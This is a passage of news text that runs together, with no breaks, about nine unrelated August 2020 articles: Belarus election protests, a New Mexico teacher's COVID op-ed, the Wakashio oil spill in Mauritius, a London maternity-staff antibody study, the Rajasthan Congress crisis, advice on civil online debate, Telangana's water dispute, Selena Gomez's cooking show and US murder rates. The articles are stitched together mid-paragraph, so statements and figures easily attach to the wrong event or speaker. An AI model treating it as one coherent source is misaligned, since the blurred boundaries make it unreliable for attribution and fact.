ex-Soviet nation's recent presidential election. The Belarus Interior Ministry said the protester had died in clashes with police in the capital, Minsk, on Monday evening as thousands protested for a successive night after official results from Sunday's poll gave an overwhelming victory to authoritarian President Alexander Lukashenko, extending his 26-year rule until 2025. Ministry spokesman Alexander Lastovsky said the victim intended to throw an explosive device, but it blew up in his hand and killed him. The development came after scattered groups of opposition supporters began gathering in central Minsk on Monday evening, chanting Freedom! and Long live Belarus!", while heavy police contingents were deployed to block central squares and roads. Later, about 1,000 demonstrators gathered near a big shopping mall in central Minsk, and police used stun grenades and rubber bullets to disperse them. The Viasna rights group said demonstrators had also gathered in several other cities across the country - which is home to some 9.5 million people - including Brest, Mogilev and Vitebsk, where detentions also took place. The unrest came after Mr Lukashenko, 65, repeated allegations that shadowy forces abroad were trying to manipulate protesters he called sheep in order to topple him, something he said he would never allow. They are trying to orchestrate mayhem, he said. But I have already warned: there will be no revolution. Belarus' political opposition has accused Mr Lukashenko of rigging his re-election victory / Reuters Election officials said Mr Lukashenko won a sixth term in office with 80 per cent of the vote during the weekend's election, while opposition challenger Sviatlana Tsikhanouskaya got 10 per cent. Ms Tsikhanouskaya, the wife of a jailed opposition blogger, dismissed the official results as a sham and submitted a formal request for a recount to the Central Election Commission. We dont agree with (election results), we have absolutely opposite information, Ms Tsikhanouskaya told the Associated Press. We have official protocols from many poll stations, where the number of votes in my favour are many more times than for another candidate. The 37-year-old had managed to unite opposition groups in the run-up to the vote and drew tens of thousands to her pre-election campaign rallies, assembling some of the biggest crowds since the fall of the Soviet Union in 1991 as she tapped into fatigue with Mr Lukashenkos autocratic rule. After submitting her recount request on Monday, Ms Tsikhanouskaya said: I have made a decision, I must be with my children. She had earlier sent her children to an unspecified European country after receiving threats. Ms Tsikhanouskaya later fled Belarus and is now safe in Lithuania, according to the countrys foreign minister, Linas Linkevicius. Belarus' wider political opposition meanwhile also accused Mr Lukashenko of rigging his re-election victory, with dozens injured and thousands detained during protests which took place just hours after the vote. Sunday's demonstrations saw police break up mostly young protesters with tear gas, water cannons and stun grenades and beat them with truncheons. Rights activists said one person died after being run over by a police truck, which the authorities denied. Mr Lukashenkos economic management and swaggering response to the coronavirus pandemic, which he has airily dismissed as psychosis, has fuelled broad anger and swelled the opposition ranks, with the post-election protests marking a previously unseen level of violence. The Interior Ministry said 89 people were injured during the demonstrations late Sunday and early Monday, including 39 law enforcement officers, and about 3,000 people were detained, 1,000 of them in Minsk. It insisted that no one was killed during the protests and called reports about a fatality an absolute fake. Belarus Protests - In pictures 1 /49 Belarus Protests - In pictures AP AP AFP via Getty Images Getty Images AP AP AP AFP via Getty Images AP AP AP AP AFP via Getty Images AP REUTERS REUTERS AP AFP via Getty Images AP People attend a rally following the presidential election in Minsk, Belarus August 11, 2020 Reuters People gather during a mass protest following presidential elections in Minsk, Belarus, Monday, Aug. 10, 2020 AP AP AP AP AFP via Getty Images AFP via Getty Images AFP via Getty Images AFP via Getty Images AFP via Getty Images AFP via Getty Images Getty Images AP AP AP AP REUTERS REUTERS Meanwhile, Mr Lukashenko's handling of the unrest was met with a chorus of criticism from Western leaders. The police crackdown drew rebukes from European capitals and is likely to complicate Mr Lukashenkos efforts to mend ties with the West amid tensions with his main ally and sponsor, Russia. The European Union condemned the police crackdown and called for an immediate release of all those detained. In a joint statement, EU foreign policy chief Josep Borrell and the EU commissioner responsible for relations with Europes close neighbours, Oliver Varhelyi, said the election night was marred with disproportionate and unacceptable state violence against peaceful protesters. The Belarusian authorities must ensure that the fundamental right of peaceful assembly is respected, they said. Belaruss EU and Nato neighbours Poland and Lithuania also issued strong rebukes. Polish prime minister Mateusz Morawiecki called on EU leaders to convene an extraordinary summit to support the Belarusian peoples democratic aspirations. The UK Foreign Office also urged Belarusian authorities to refrain from further acts of violence following the seriously flawed presidential elections and warned that the attempts by Belarusian authorities to suppress protests are completely unacceptable. US Secretary of State Mike Pompeo meanwhile said Sunday's presidential vote was not free and fair and condemned ongoing violence against protesters and the detention of opposition supporters. Down the street from my Rio Rancho home is a spacious community park that my family has not visited in weeks due to COVID-19. When we go for evening walks to get my young daughters out of the house, the park is full of life but not full of masks or social distancing. This keeps me up at night, for the doors to our schools need to reopen, and when they do, many of my teacher friends and colleagues will be waiting behind them with smiling faces, no matter the worry that resides in their hearts and minds. As I continue my duties as New Mexico Teacher of the Year, I will not be back in the classroom until January. This doesnt limit my concerns as a teacher or parent. As the moderator of the recent educator town hall held by the New Mexico Public Education Department, I read thousands of comments from teachers across the state who have serious concerns about safety. Yet, educators also long to be back in the classroom, cultivating the teacher-student bonds that are so essential for learning. While balancing the many sides of this story weighs heavily, there is no substitute for in-person connection. Still, we should not put lives at risk. So I ask you, our New Mexico families, to do all you can to safeguard our schools so teachers can welcome students back with the confidence that all are truly safe. A teacher friend recently revealed she has been ill with stomach issues and canker sores, and attributes it to her worry of returning to school. My social media feeds show teachers talking about increasing their life insurance and seeking out help with living wills. These numbers may be lower than other states, but teachers and families are watching with concern. Children cannot get the best education if their teacher gets sick. Substitute teachers already are hard to come by, and our current situation makes it more difficult. We also must consider that Hispanics, Natives and African-Americans, who already are underrepresented among our teacher ranks, are at a higher risk. Here are things the U.S. Centers for Disease Control and Prevention recommends that could keep teachers and students safe: Clean and disinfect frequently touched surfaces. Wear a cloth face cover in public and when around people who dont live in your household. Wash your hands often with soap for at least 20 seconds, especially after you have been in a public place, or after blowing your nose, coughing or sneezing. Avoid crowded places and close-contact settings. The Journal of the American Medical Association released a statement stating, Cloth face coverings are a critical tool in the fight against COVID-19 that could reduce the spread of the disease, particularly when used universally within communities. We must work together to not only put us on a path toward in-person school, but to also make sure that once students return, the focus can be on learning and emotional well-being. (Mandi Torrez lives in Rio Rancho and is a third-grade teacher at Placitas Elementary; she is on sabbatical to carry out duties as the 2020 New Mexico Teacher of the Year. She is a Teach Plus Policy Fellow.) Early in the evening of the 10th August 2020, Prime Minister Pravind Jugnauth, who chairs the crisis committee, confirmed that there has been no further spillage of hydrocarbon since yesterday. Weather conditions started to improve this morning and is forecasted to remain stable. This made it possible to resume the pumping of oil out of the tanks of the Wakashio. Removal of hydrocarbon by helicopters continued since yesterday. Today 500 additional metric tons were pumped out of the ship with 1,959 metric tons now remaining, of the original pay load of 3,800 metric tons. Mauritius Marine and Logistics company, Taylor Smith, is providing 5,000 metric tons of stowage capacity for the oil pumped out. On the 10th August 2020, an additional 225 metric tons of hydrocarbon were skimmed out of the south eastern lagoons affected by the oil spillage, taking the total to 375 metric tons. 90 tons of oil sludge were also removed from the lagoons. On the other hand, the Prime Minister reported that cracks on the ships hull have taken very serious proportions and it is now likely that the bulk carrier will break at some point. Rescue teams are now preparing to deploy large scale containment efforts, should there me more spillages. Additional equipment is expected to reach Mauritius shortly. In the meantime, pumping operations are maintained with an objective to empty the bulk carriers tanks in time to prevent more spillage. Booms have been deployed to limit movement of the oil slick further towards the eastern coast as the weather remains windy and the seas rough. Mauritian authorities have been providing volunteers with support and protective equipment. The Prime Ministers Relief Fund will provide financial support for community actions. Moreover, fishermen in the region are being offered employment with rescue teams in addition to the financial reliefs that are being provided by government. Schools will remain closed in the region until further notice. After thorough testing, the Ministry of Health declared that the quality of the air in localities of the South East and near schools are safe. The Prime Minister added that the Government has taken note of apologies made to Mauritius by owners of the bulk carrier Wakashio, in a public statement yesterday. He however stressed that they remain accountable for this unprecedented ecological disaster. August 09, 2020 Prime Minister Pravind Jugnauth stated that the hydrocarbon leak stopped after 500 metric tons of heavy oil were pumped out of the Wakashios breached tank. Measures are being taken to secure the tanks remaining 800 metric tons of oil. 525 metric tons have already been transferred to a more secure location. Of the oil already spilled in the lagoons, 170 metric tons as well at 80 metric tons of waste sludge were skimmed as at Sunday afternoon. The bulk carrier was transporting a total of 3,500 metric tons of heavy oil in all its tanks, of which 2,500 metric tons remain on board. Weather conditions deteriorated on Sunday interrupting pumping operations. It will only be possible to resume pumping when weather conditions improve, which is forecasted to be in the evening of Monday, 10 August. According to the Salvage Master, the conditions of the ship are deteriorating with hull cracks extending and new cracks appearing. There is now a real risk of the ship breaking in two. Tugs have already been positioned to take a part of the ship to high seas, should the need arise. As regards skimming of the spillage, 4 skimmers are currently in operation, 1 more is expected to arrive from Rodrigues tomorrow (Monday 10 August), 4 more from Reunion Island and 2 are expected from Greece. The Prime Minister thanked all countries who are responding favorably to Mauritiuss calls for help. He also thanked the teams from government, from the private sector, NGOs as well as the local community for their committed actions. He insisted that the safety of people should be a topmost priority and urged that volunteers wear protective equipment before taking part in cleaning operations. August 08, 2020 Prime Minister Pravind Jugnauth stated that best efforts are being deployed to contain and prevent further oil spillage. He added that the operations currently being conducted by Mauritian Authorities, private sector operators and friendly countries who answered the call, are delicate, risky and seriously challenged by current weather conditions. A crisis committee and several sub-committees have been set up to manage what the Prime Minister called, an unprecedented ecological crisis for Mauritius. Several countries have responded to Mauritiuss call for help including France (Reunion Island), South Africa and India. The Prime Minister also commended the efforts of the local community and NGOs who are doing their best to help. He said that these actions need to be coordinated by the authorities to ensure effectiveness. Containment booms are being deployed to protect the lagoons and the shores. The Prime Minister confirmed that oil is seeping from a breached tank that contained 1,183 metric tons of oil. The other tanks of the bulk carrier do not seem to have been damaged, but real risks exist with the current weather conditions. Efforts are currently underway to pump oil from the tanks. Wakashio: The country mobilized 13 days ago The bulk carrier MV Wakashio ran aground on the reefs off Pointe d Esny. Since yesterday, the bulk carriers hull was breached resulting in an oil spillage in the lagoon on August 6, 2020. August 7, 2020 A joint government, civil society and private sector committee met this morning, under the aegis of the Prime Ministers Office. A coordinated effort was initiated involving The Mauritian Wildlife Foundation, Reef Conservation, Eco-Sud and other environmental NGOs. They are working to urgently, identify and implement the most appropriate solutions. The committee is being supported by relevant technical professionals including those from the company, Poly Eco. For their own safety, the public has been urged to stay away from areas of operations, as hydrocarbon fumes are highly toxic and injurious to health. Cleaning actions will be carried out professionally and the efforts of volunteers will need to be coordinated by competent authorities. Personal Protective Equipment (PPE) will be made available to volunteers to ensure that cleaning actions are implemented safely. Areas of operation will be kept off bounds and access will be controlled. For now, volunteers may register on the Ministry of the Environment website at the following address: shorturl.at/eksBX Partager et informez vous aussi...... 0 shares Share Tweet LinkedIn Articles similaires New research from two London hospital maternity units published in Anaesthesia (a journal of the Association of Anaesthetists) shows that 1 in 6 maternity workers tested positive for COVID-19 antibodies, showing they have had a previous infection. Of those testing positive, 1 in 3 were completely asymptomatic. Worryingly, more than half (58%) of those who tested positive never met the UK Government's criteria for self-isolation, and thus did not self-isolate and continued to work as normal in their hospital. The study is by Dr Sohail (Sam) Bampoe and Dr Peter Odor, both Consultant Obstetric Anaesthetists at University College London Hospitals NHS Foundation Trust, and Honorary Associate Professors at University College London, London, UK. COVID-19, the respiratory disease caused by the SARS-CoV-2 virus, is thought to cause a milder illness in pregnancy with a greater proportion of asymptomatic carriers. This has important implications for the risk of patient-to-staff, staff-to-staff and staff-to patient transmission among health professionals working in maternity wards. The aim of this study was to investigate the prevalence of previously undiagnosed SARS-CoV-2 infection in health professionals from two hospital-level maternity units, University College London Hospital and St George's Hospital in London, UK, and to determine associations between health care workers' characteristics, reported symptoms and evidence of prior SARS-CoV-2 infection using antibody testing. The study included 200 anaesthetists (40), midwives (108) and obstetricians (52) with no previously confirmed diagnosis of COVID-19, who were tested for prior COVID-19 infection using laboratory antibody tests. Comprehensive symptom and medical histories were also collected. A total of 29/200 (14.5%) tested positive (seropositive). The highest positivity rate was found in midwives (17/108, 15.7%) followed by obstetricians (7/52, 13.5%) and anaesthetists (5/40, 12.5%). Of those who tested positive for COVID-19 antibodies, 10/29 (35.5%) were completely asymptomatic. Fever or cough were only present in 6/29 (20.7%) and 10/29 (34.5%) respectively. Anosmia (loss of sense of taste and smell) was the most common symptom occurring in 15/29 (51.7%) of seropositive participants. More than half (58.6%) of those who tested positive had not met the national criteria for self-isolation at any point, and therefore did not self-isolate and continued to provide patient care in the hospital setting. The authors discuss that the positivity rate was more than twice as prevalent in UK obstetric health care workers as in the general population in the UK and three times as prevalent as in the general population in the USA. However, the prevalence of seroconversion of health care workers in these London hospitals was similar to estimates of seroconversion in the general population in Greater London at 14.5%, based on sampling from blood donors. They say: "Although these results would suggest that obstetric health care workers are at a similar risk of exposure to COVID-19 as the general population, the prevalence of seroconversion among this staff group appears to be lower than reported in other frontline health care worker groups." The authors also discuss the possibility that greater proportion of asymptomatic infection in pregnancy and generally milder symptom profile in pregnant patients may explain why obstetric health care workers appear to have a lower risk of occupational viral transmission, as SARS-CoV-2 pregnant patients may be less infective than respiratory or acute emergency patients. They also discuss that the risk posed by infectious staff members to colleagues, pregnant women, and their offspring remains unknown. At the beginning of the current SARS-CoV 2 pandemic, the UK government advised all those with a persistent cough or fever above 37.8C to self-isolate. The data in this new study revealed that only 41.4% of health care workers who tested positive for COVID-19 antibodies met those criteria and self-isolated at any point. This means that 58.6% continued to work -- and commute -- despite active SARS-CoV-2 infection. The data showed that in this population, neither cough nor fever predicted seropositivity and the only symptom predictive of a positive test was loss of taste and smell. The UK government have since added this symptom to those that mandate self-isolation. The authors say: "Our study strongly supports this updated advice, even though it would still fail to isolate approximately 6 out of 10 infected staff." Some limitations to the study are discussed by the authors. Based on data from other similar viruses, the duration of antibody volumes sufficient to be detected is likely to be for at least six months. However, the exact duration of antibodies showing COVID-19 infection remains unknown and recent studies have shown that mild cases might end up testing negative. As such it is possible that some individuals who were infected earlier in the year, as well as some mild cases, did not have a strong enough antibody response at the date of testing to test positive. The testing methodology used in this study may therefore underestimate the true seroconversion prevalence. The authors conclude: "Until we have robust evidence as to the risk posed by asymptomatic infected individuals to others, and as to the risk of COVID-19 to babies, particularly during pregnancy, our study suggests that extreme caution is advisable in maternity settings, particularly the consistent use of effective personal protective equipment (PPE) and other known effective measures including social distancing of staff and the regular washing of hands. We also recommend that all obstetric healthcare institutions should consider regular serology testing for staff, as well as the immediate isolation of any staff who lose their sense of taste and smell, even in the absence of cough or fever. Regular testing and consistent use of PPE are likely to be the cornerstones of pandemic control." ### The rebellion by Sachin Pilot and MLAs loyal to him came only months after Jyotiraditya Scindia left the Congress along with 22 MLAs, toppling the Madhya Pradesh government Former Rajasthan deputy chief minister Sachin Pilot and some of the rebel Congress MLAs loyal to him met Priyanka Gandhi, KC Venugopal and other party leaders on Monday. A party statement has also said that Pilot will work in the interest of the party, and a three-member committee will be set up to address the grievances of Pilot and other aggrieved MLAs. These developments mark a thaw in the political crisis in the state that started with allegations of horse-trading and an FIR. Here is a timeline of events that unfolded as political uncertainty reigned in Rajasthan, only months after the Congress was ousted in Madhya Pradesh with the exit of Jyotiraditya Scindia and legislators loyal to him: 10 July: The Special Operations Group (SOG) of Rajasthan Police sought Pilot's time for recording his statements in connection with the alleged attempts to topple the Congress government in the state. A letter to the same effect had been sent to Pilot. Similar letters were also sent to Chief Minister Ashok Gehlot too. 11 July: The SOG arrested two persons in connection with alleged attempts to destabilise state government ahead of Rajya Sabha polls, Rajasthan Additional Director General Ashok Kumar Rathore said. They were identified as Bharat Malani and Ashok Singh. Meanwhile, Gehlot accused the BJP of "buying" MLAs by offering them up to Rs 25 crore, a charge denied by the opposition party and its ally Rashtriya Loktantrik Party (RLP), which have claimed that "infighting" inside Congress was at play. They also accused Gehlot of not trusting his own MLAs. 12 July: As many as 30 Congress MLAs and some independent legislators who in touch with Pilot pledged their support to him. Sources told ANI that the former Rajasthan Congress chief and some of his loyal MLAs reached Delhi to meet the party high command, even though his earlier request for an appointment was not met with a response. The three Congress MLAs include Harish Choudhary, Rohit Bohra and Danish Abrar, who are said to be close aides of Pilot and went to Delhi clarified that their trips were personal in nature. Meanwhile, around 75 MLAs, including ministers, were present in a meeting at Gehlot's residence. Congress leaders Randeep Surjewala and Ajay Maken met Gehlot to chalk out a strategy for Congress Legislative Party (CLP) meeting to be held the next day. They were also the observers appointed to bring the situation in the state under control. 13 July: Pilot, 19 other MLAs skipped the Congress Legislature Party meeting held at Gehlots Jaipur residence. Ved Solanki, Rakesh Parik, Murari Lal Meena, JR Khatana, Indraj Gurjar, Gajendra Singh Shaktavat, Hareesh Meena, Deependra Singh Shekhawat, Bhanwar Lal Sharma, Gajraj Khatana, Vijedra Ola, Hemaram Choudhary, PR Meena, Ramesh Meena, Vishvendra Singh, Mukesh Bhakar, Suresh Modi, Virendra Choudhary and Amar Singh Jatav were not present at the meeting. Ahead of the meeting, senior Congress leader and spokesperson Randeep Singh Surjewala said, "On behalf of Congress leadership, including Sonia Gandhi and Rahul Gandhi, I convey that doors of Congress party are always open for Sachin Pilot or any member." Rajasthan Food and Civil Supplies Minister Ramesh Meena said that he stands with Pilot. 14 July: After a CLP meeting at Jaipurs Fairmont hotel, it was decided that Sachin Pilot would be removed from the posts of Deputy Chief Minister and Rajasthan Pradesh Congress Committee chief. Vishvendra Singh and Ramesh Meena were also removed from ministerial posts for attempting to topple the government by getting entangled within the trap of BJP, PTI reported. Sachin Pilot changed his bio on Twitter and later stated, "Truth can be disturbed, not defeated. His nameplate was removed from the party's state headquarters in Jaipur. His new bio on Twitter read, "MLA from Tonk| Former Minister of IT, Telecom & Corporate affairs,GoI |Commissioned officer Territorial Army". 15 July: Pilot ended speculation about him joining the BJP in an ANI interview. A notice was issued to him and 18 MLAs for not attending CLP meetings on 13 and 14 July and a response was sought within two days. A total of 59 office bearers of the Tonk unit of the Congress resigned in protest against Pilots undemocratic removal as state unit chief". All India Congress Committee (AICC) General Secretary and party in-charge for Rajasthan Avinash Pande dissolved all cells and departments of the state party unit. 16 July: The petition, filed by Pilot and 18 MLAs of his faction, challenging the disqualification notice issued to them by the state Assembly Speaker on 14 July, was deferred by the Rajasthan High Court. 17 July: Hearing of petition challenging disqualification notices deferred to 20 July. High drama ensued in Manesar, where a team of Special Operations Group (SOG) of Rajasthan Police that was waiting outside the resort in Manesar where Sachin Pilot camp Congress MLAs were staying, was allowed to enter the resort at night after arriving at the spot in the evening. Dotasra alleged that the police was made to wait so that the BJP can move the rebel MLAs out of the resort through a secret door. Meanwhile, MLAs loyal to Gehlot were shifted to Hotel Fairmont in Jaipur. 20 July: Rajasthan Congress MLA Giriraj Singh Malinga alleged that Pilot offered him Rs 35 crore to not vote for Congress in the Rajya Sabha polls. The allegation was rejected by Pilot who said it was done to malign his image and he will take "strictest possible legal action" against the MLA. 21 July: Advocate Mukul Rohtagi, representing Pilot at Rajasthan High Court, said during a hearing that "less time given for reply than as stated in rules." The court said it will pronounce an order on 24 July. 22 July: Rajasthan Legislative Assembly Speaker CP Joshi approached the Supreme Court against the interim order passed by the Rajasthan High Court. Joshi, in his Special Leave Petition (SLP), said that the impugned interim order has interdicted and restrained the Speaker from calling of replies and conducting hearing of the disqualification proceedings pending against the respondents till 24 July. Pilot too filed a caveat in the apex court to ensure that no orders are passed on Rajasthan Assembly Speaker CP Joshi's petition against High Court interim orders without hearing Pilot and his supporting MLAs. 23 July: Gehlot wrote a letter to Prime Minister Narendra Modi alleging that "despicable attempts" had been made "to destabilise elected governments through horse-trading" in an insult to mandate of people and violation of constitutional values. CP Joshi submitted before the Supreme Court that Rajasthan High Court had no jurisdiction to intervene on the disqualification notice issued to Sachin Pilot and other MLAs until a decision was taken on the same. 24 July: Rajasthan High Court made Centre a party in the case and also directed to maintain 'status quo' on the disqualification proceeding against Pilot and 18 other MLAs of his camp pending before the State Assembly Speaker. Meanwhile, Gehlots request to hold an Assembly session at the earliest was rejected by the Rajasthan Governor. The Secretariat said that the date on which the Assembly session is to be convened is not mentioned in the cabinet note and no approval has been given by Rajasthan cabinet. It said 21-day notice is required for the session to be called according to normal procedures. Rajasthan cabinet meeting held at Gehlot's residence over the holding of the state Assembly session. 27 July: CP Joshi withdrew his Supreme Court plea. 29 July: CP Joshi filed a fresh petition in the Supreme Court challenging the 24 July order of the Rajasthan High Court. 30 July: Gehlot expressed confidence that his government will complete its full term and said "unhappy MLAs" should attend the assembly session as they have been elected on Congress symbol. 31 July: Rajasthan Assembly Congress chief whip Mahesh Joshi approached the Supreme Court, mentioning in his plea that the Rajasthan High Court order was an interference with the authority of the Speaker. Rajasthan Congress MLAs supporting Chief Minister Ashok Gehlot, who were lodged at Fairmont Hotel in the Jaipur, were shifted to Jaisalmer. 4 August: Rajasthan Special Operations Group (SOG) transferred the alleged horse-trading case to Anti-Corruption Bureau (ACB) while taking off Section 124A IPC (Sedition) from the case based on legal opinion. 10 August: While Congress leaders Rahul Gandhi and Priyanka Gandhi Vadra met Pilot, Sonia Gandhi spoke to Gehlot in an attempt to ensure that the political crisis may be ended with an amicable solution ahead of the Assembly session. Some of the rebel Rajasthan Congress MLAs met senior leaders of the party and have been told to tender an unconditional apology, following which they are free to meet the top leadership and express grievances, sources told ANI. Hours later, Pilot said he is "committed to working in the interest of the Congress party and the Congress government in Rajasthan" and "a three-member committee" will be formed to address the issues raised by Pilot and "the aggrieved" MLAs. 11 August: Former Rajasthan Deputy chief minister Sachin Pilot and other MLAs supporting him held a meeting with Congress General Secretary Priyanka Gandhi Vadra, party leaders Ahmed Patel and KC Venugopal in Delhi, signalling a possible end to the political crisis in Rajasthan. With inputs from agencies Earlier this year, Jo Ciceron shared a story online about how her 6-year-old son connected the idea of an officer with danger. It came following the death of George Floyd in police custody in Minneapolis. But her online post led to a death threat against her son from a commenter. Ciceron, of Alexandria, Minnesota, hosts a podcast where she talks about racial issues and has four other people who help moderate comments online. She said her team helps her maintain her mental health. "Ive learned to not fall into that rabbit hole," she said of following comments between people that get out of hand. Above video: There are consequences to staying silent Politics, beliefs and much, much more can be such landmines, it might be tempting just to hide under a rock and not say anything. But therapists suggest otherwise, saying disagreement is natural and expected. On a single post, Ciceron's team can deal with having to ban, delete or report as many as 2,000 comments. But she's seen how people engaging in debates like "all lives matter" versus "Black lives matter" can change their minds, where they eventually admit, "I didn't know that" and "Now I know." While Ciceron knows she doesn't always have to engage, she and her podcast partner wanted to create a space where people can share their opinions and also not feel attacked in doing so. Guides on how to have healthy, respectful and civil conversations, disagreements and environments about race abound, from school to family settings. Based on those and experts' advice, here are some key takeaways on how to have productive conversations and avoid bad ones. Some bad ways to argue? Trying to dominate someone with your viewpoint, attacking one's character, and sulking, one doctor has noted, providing a list of issues. Resorting to name-calling, not listening and being afraid that you might not win, one Psychology Today contributor, Jim Stone, has noted. Being close-minded, not seeing something from someone else's perspective and showing disrespect are also problematic, says researcher Hugh Breakey of Griffith Universitys Institute for Ethics, Governance and Law in Australia. How should we argue? Let others dissect your weak points and allow you to see things you could not have considered because of your age and other factors, Stone suggests. Take a moment to consider the other person's points, cite patterns rather than individual anecdotes and be alright with only making progress in understanding one another, notes Andrew Perrin, the director for an institute that helps faculty at the University of North Carolina at Chapel Hill. Look to understand people's viewpoints by examining their reasons for doing so, says Duke University philosophy professor Walter Sinnott-Armstrong, who has led popular, free courses on how to effectively argue. Rufus and Jenny Triplett, who provide marriage advice and more, run a Facebook page with more than 10,000 followers, and when they create viral content, they can face commenters who come with negative attitudes and personal agendas. The couple is willing to engage in difficult conversations to advocate for what is right, but they want people online to be respectful and not monopolize a conversation with their own viewpoints. It's OK to have a difference of opinion, but trolling is unacceptable, Jenny Triplett says. Rufus Triplett said people who have an attitude and are not open to hearing anything else means that those individuals cant have a conversation with others. The Tripletts try to engage with people, but as other experts recommend, they are OK with walking away from a conversation. "We have to have civil conversations," Jenny Triplett says, with her husband adding, "Everyone deserves to be heard." Telangana chief minister K Chandrashekar Rao's case on the inter-state dispute is water allocations were done prior to the creation of Telangana. (File photo) Hyderabad: Telangana chief minister K Chandrashekar Rao on Monday railed at the central government as well as Andhra Pradesh government for hindering the execution of irrigation projects in Telangana state. The chief minister called a meeting of his senior staff to finalise the states's tactics if the Union Water Resources Ministry calls an Apex Council meeting--which is likely any time after the second week of this month--on the water dispute between Andhra Pradesh and Telangana. The chief minister said he was disappointed with the government of Andhra Pradesh for not reciprocating the good faith he had shown in accommodate state's interests. I took the initiative, invited the state leaders, offered them lunch and discussed the matter. I extended a friendly hand so that both states could construct projects needed by their people. He added, Our intention is clear: since both states are neighbours, both should move forward to the final goal of giving water to farmers instead of allowing the surplus waters of the Krishna and Godavari rivers go waste into the sea. The chief minister said the AP government has unnecessarily poked us. They lodged baseless allegations and complaints against us. Let us give a befitting answer in the Apex Council to effectively counter their charges and shut their mouth once and for all. The chief minister made it clear that Telangana was constructing projects based on the state's share of river waters and it was not at all correct to raise objections to projects for which allocation of water was agreed upon before the formation of Telangana. KCR pointed out that the Centre too is raising unnecessary objections over releasing water from Srisailam to Nagarjuna Sagar. In fact, Srisailam is not an irrigation project. It is a hydroelectric project. Without taking these facts into consideration, the Centre is raising objections. That is not proper." He stuck to the line that the projects being built in the Godavari and Krishna basins in Telangana were sanctioned prior to the formation of Telangana. Water allocations were made for these projects. Permissions from all the institutions concerned were given including the Central Water Commission (CWC). About Rs 23,000 crore were already spent and 31,500 acres of land were acquired. So calling them new projects is "absurd, meaningless and foolish". He pointed out that the Kaleshwaram, Sammakka Sagar, Rajiv Sagar Sitarama Project and Sithamma Sagar projects were taken up after redesigning theh Pranahita-Chevella , Kanthanapally, Indira Sagar and Dummugudem projects. He recalled that in the first Apex Council meeting held in the past, the AP government had acceded to the Macchumarri and Palamuru-Ranga Reddy projects; so it was not proper for the state to raise objections now. He explained that the Tribunal made it clear that 20 per cent of water used for drinking water purposes should be taken into consideration and accordingly, of the 110 TMC of water used for drinking water purposes in Telangana, 22 TMC should be taken into account. Maintaining that Telangana faced a lot of injustices in irrigation right from the beginning, KCR reminded that the Bachawat tribunal itself made it clear that Telangana was facing injustices in the allocation of water. Keeping in view of injustice caused to Telangana the Bachawat tribunal made special allocation to Telangana. Arguing that in fact Telangana needs more water, he said we need to get 1000 additional TMC from the Godavari surplus water. Godavari has more catchment area in Telangana. River Godavari flows in more areas in Telangana." Stating that of the 2000 TMC that goes into the sea, he requested the Centre that Telangana should at least be allocated 1000 TMC more. Whats the hottest trend in TV cooking shows? Formats pegged to celebrities who actually cant cook or who are, at least, culinary challenged. Count Selena Gomez among them. In Selena + Chef, a new series coming to HBO Max on Thursday, the pop star and actor attempts to make delicious meals while stuck at home in quarantine and receiving instructions from acclaimed master chefs. This was an opportunity to make something that could make people smile, Gomez told journalists recently. I hope theyre going to laugh because I look like a fool ... I love cooking. I just dont know how to do it all the time. With her new show, Gomez follows in the footsteps of comedian Amy Schumer, who has her own in-quarantine series Amy Schumer Learns to Cook on the Food Network. But while Schumer receives in-person instruction from her husband, chef Chris Fischer, Gomez takes her lessons remotely from a group of rotating chefs, including Tanya Holland, Angelo Sosa, Antonia Lofaso, Candice Kumai, Daniel Holzman, Jon Shook and Vinny Dotolo, Ludo Lefebvre, Nancy Silverton, Nyesha Arrington and Roy Choi. Together, they tackle cuisines of every variety, share valuable tips and tricks, and deal with everything from smoking ovens to missing ingredients. Each episode will highlight a food-related charity. Having some of the best chefs open up their kitchens to me was a humbling and fun experience, Gomez says. I definitely discovered I have a lot more to learn. Executive producer Aaron Saidman pointed out that even though Gomez had experts offering aid, there was no one at her side to bail her out in the kitchen. There was something special about the fact that Selena was on her own having to kind of fumble her way through and figure things out, he said. What were her most challenging endeavours? Well, Gomez really didnt like working with octopus. And she had a tough time making a French omelette because Im just so used to doing it the American way. As for her standout specialty? I make a killer PB&J. Murder rates have skyrocketed in the US this summer, adding yet another layer of trauma on top of the devastating ongoing effects of the coronavirus pandemic and fevered racial unrest. The homicide rate across 20 major American cities rose by 37 percent from May to June, according to a recent report from the National Commission on COVID-19 and Criminal Justice (NCCCJ). That increase was driven largely by rates in three cities - Chicago, Philadelphia and Milwaukee - according to the report. Meanwhile aggravated assaults also spiked by 35 percent across 17 major cities from late May through the end of June, with the largest increases seen in Chicago, Detroit, Louisville and Nashville. The dramatic rise in violent crimes began around the time that nationwide protests erupted over the death of George Floyd, a black man who was killed when a white Minneapolis cop knelt on his neck for more than nine minutes during an arrest. President Donald Trump has repeatedly blamed the rising homicide rates on 'anarchists and agitators' in the protests as he accuses officials in Democrat-led cities of losing control of their streets. But the NCCCJ researchers noted that most of the homicides and violent assaults during the period analyzed were not in any way linked to the protests. The homicide rate across 20 major US cities rose by 37 percent from May to June, according to a report from the National Commission on COVID-19 and Criminal Justice (NCCCJ) Aggravated assaults spiked by 35 percent across 17 cities from late May through end of June The report cautioned against drawing concrete conclusions about the cause of the current crime fluctuations because they lack context in long-term crime trends, 'which is necessary to determine whether the recent changes are distinctive or simply part of recurring crime cycles'. For that reason and others, experts in criminology have criticized Trump for trying to pin the violence on the protests against police brutality. President Donald Trump has repeatedly blamed the rising homicide rates on 'anarchists and agitators' in the protests as he accuses officials in Democrat-led cities of losing control of their streets During a White House press conference last month Trump charged that the protesters' 'effort to shut down policing in their own communities has led to a shocking explosion of shootings, killings, murders'. Some experts have speculated that the rise in violent crimes could be a result of the coronavirus pandemic destabilizing community institutions, according to the New York Times. City and state leaders including New York City Mayor Bill de Blasio have suggested the violence is linked to people becoming restless after weeks in coronavirus lockdowns. In New York City, murders have risen 30 percent this summer compared to last year and shootings surged by 130 percent in June. Police leaders in the Big Apple have placed the blame squarely on de Blasio, citing his move to slash $1billion from the NYPD's budget, a new law that lets some defendants go free without posting bond and the release of thousands of prisoners from Rikers Island due to coronavirus concerns. In New York City, murders have risen 30 percent this summer compared to last year and shootings surged by 130 percent in June. NYPD officers are pictured at the site of a shooting in Harlem on July 5 Kansas City is also seeing a wave of violence that's put in on pace for a record year for homicides. Police are pictured at the scene of a shooting that killed a pregnant woman in July In Chicago, murders rose by 78 percent and shootings increased by 75 percent in June. Arrests in the city plummeted over the same period as union leaders blamed anti-police sentiment and protests for damaging morale within the CPD. In Philadelphia, murders were up 32 percent in June compared with the year prior. Kansas City is also seeing a devastating wave of violence that's put in on pace for a record year for homicides. 'We're surrounded by murder, 